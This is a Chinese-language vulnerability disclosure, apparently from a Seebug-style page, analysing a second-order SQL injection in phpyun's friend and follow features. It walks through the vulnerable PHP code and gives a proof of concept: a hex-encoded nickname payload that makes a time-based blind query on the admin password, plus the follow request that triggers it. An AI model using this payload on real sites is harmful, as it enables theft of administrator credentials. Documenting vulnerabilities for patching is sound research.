### 简要描述:
phpyun注入漏洞#2
### 详细说明:
文件名: \app\controller\friend\index.class.php中 有这样一句
```
$nid=$M->SaveFriendInfo($_POST,array("uid"=>$this->uid));
```
传入了整个post,我们跟进SaveFriendInfo看看.
文件名: \app\model\friend.model.php
```
function SaveFriendInfo($Values=array(),$Where=array()){
if(empty($Where)){
$ValuesStr=$this->FormatValues($Values);
return $this->DB_insert_once('friend_info',$ValuesStr);
}else{
//很显然,Where是不为空的。
$WhereStr=$this->FormatWhere($Where);
$ValuesStr=$this->FormatValues($Values);//重点是看这个函数
return $this->DB_update_all('friend_info',$ValuesStr,$WhereStr); //直接送入语句查询。
}
}
```
文件名: \app\public\action.class.php FormatValues函数如下
```
function FormatValues($Values){
$ValuesStr='';
foreach($Values as $k=>$v){
if(is_numeric($k)){
$ValuesStr.=','.$v;
}else{
if(is_numeric($v)){ //看见没 如果 v为数字的话就 不加单引号 反之引上单引号。因为使用了 is_numeric函数的原因,0x111 这种格式的也可以通过限制 而mysql中也是可以直接解析0x的格式的, 所以我们直接寻找有没有二次注入的地方即可。
$ValuesStr.=',`'.$k.'`='.$v;
}else{
$ValuesStr.=',`'.$k.'`=\''.$v.'\'';
}
}
}
return substr($ValuesStr,1);
}
```
寻找二次注入中...寻找到了。美中不足的地方就是只能延迟注入。
文件:\app\controller\ask\friend.class.php
这个功能是关注功能..
ID是对方的uid .可以自己注册 2个账号来操作。
```
function atnuser_action(){
$id=(int)$_POST['id'];
if($id>0){
if($this->uid){
if($_POST['id']==$this->uid){
echo 4;die;
}
$M=$this->MODEL('ask');
$FriendM=$this->MODEL('friend');
$atninfo = $M->GetAtnOne(array('uid'=>$this->uid,'sc_uid'=>$id));
$UserInfoM=$this->MODEL('userinfo');
$user=$UserInfoM->GetMemberOne(array('uid'=>$id),array('field'=>'`usertype`'));
$comurl = url("ask",array("c"=>"friend","uid"=>$id));
$row=$FriendM->GetFriendInfo(array('uid'=>$id));//看这里.查出friend_info表里的数据
$name = $row['nickname'];//看这里把nickname查出来了赋值给$name
if(is_array($atninfo)&&!empty($atninfo)){ //这句话的意思是你是否是对方的粉丝,如果是那么就取消关注,反之关注.
$M->DeleteAtn(array('uid'=>$this->uid,'sc_uid'=>$id));
$FriendM->SaveFriendInfo(array('`fans`=`fans`-1'),array('uid'=>$id));
$FriendM->SaveFriendInfo(array('`atnnum`=`atnnum`-1'),array('uid'=>$this->uid));
$this->addstate("取消了对<a href=\"".$comurl."\">".$name."</a>的关注!",2);
$this->automsg("用户 ".$this->username." 取消了对你的关注!",$id);
$M->member_log("取消了对".$name."的关注!");//看这里带入了$name
echo "2";die;
}else{
$M->insert_into("atn",array('uid'=>$this->uid,'sc_uid'=>$id,'usertype'=>(int)$_COOKIE['usertype'],'sc_usertype'=>$user['usertype'],'time'=>time()));
$FriendM->SaveFriendInfo(array('`fans`=`fans`+1'),array('uid'=>$id));
$FriendM->SaveFriendInfo(array('`atnnum`=`atnnum`+1'),array('uid'=>$this->uid));
$this->addstate("关注了<a href=\"".$comurl."\">".$name."</a>",2);
$this->automsg("用户 ".$this->username." 关注了你!",$id);
$M->member_log("关注了".$name);//看这里带入了$name
echo "1";die;
}
}else{
echo "3";die;
}
}
}
```
我们在来分析member_log函数.
文件 :app\public\action.class.php
```
function member_log($content,$opera='',$type=''){
if($_COOKIE['uid']){
$value="`uid`='".(int)$_COOKIE['uid']."',";
$value.="`usertype`='".(int)$_COOKIE['usertype']."',";
$value.="`content`='".$content."',";
$value.="`opera`='".$opera."',";
$value.="`type`='".$type."',";
$value.="`ip`='".fun_ip_get()."',";
$value.="`ctime`='".time()."'";
$this->DB_insert_once("member_log",$value);
}
}
```
看到这里我笑了..一般带DB_开头查询函数并没有进行转义操作. 可以造成注入.
不管是取关还是加关都会造成二次注入.
### 漏洞证明:
接下来就是poc演示了.
先注册2个账号,A和B.
注:uid可以cookie中查询得到。
先登录账号A:
http://127.0.0.1:8081/php/phpyun/friend/c_saveinfo.html
post提交
submitBtn=1&nickname=0x272c69703d28534c454550284d4944282853454c4543542050415353574f52442046524f4d2070687079756e5f61646d696e5f75736572204c494d49542031292c312c31293d273427292923
nickname的数据是',ip=(SLEEP(MID((SELECT PASSWORD FROM phpyun_admin_user LIMIT 1),1,1)='4'))# 我们需要hex下,才不会被加上单引号;
可以看到数据里已经更改掉数据了。
[<img src="https://images.seebug.org/upload/201506/26110205aa397c4dca56bd9a483631f69f1409be.png" alt="QQ截图20150626011057.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/26110205aa397c4dca56bd9a483631f69f1409be.png)
现在我们来登录第二个账号B
http://127.0.0.1:8081/php/phpyun/ask/c_friend-a_atnuser.html
Post提交
id=1
Id是你要关注的账号id也就是A的uid。(uid可以cookie中查询得到。)
为了直观显示为就把sql语句输出了。
[<img src="https://images.seebug.org/upload/201506/261102395b668a08143a6a548e9da663ec585a85.png" alt="QQ截图20150626013318.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/261102395b668a08143a6a548e9da663ec585a85.png)
看见没..成功执行了语句.密码第一位是4就延迟一秒。
利用脚本我就不给出了,几个post请求判断的事。
暂无评论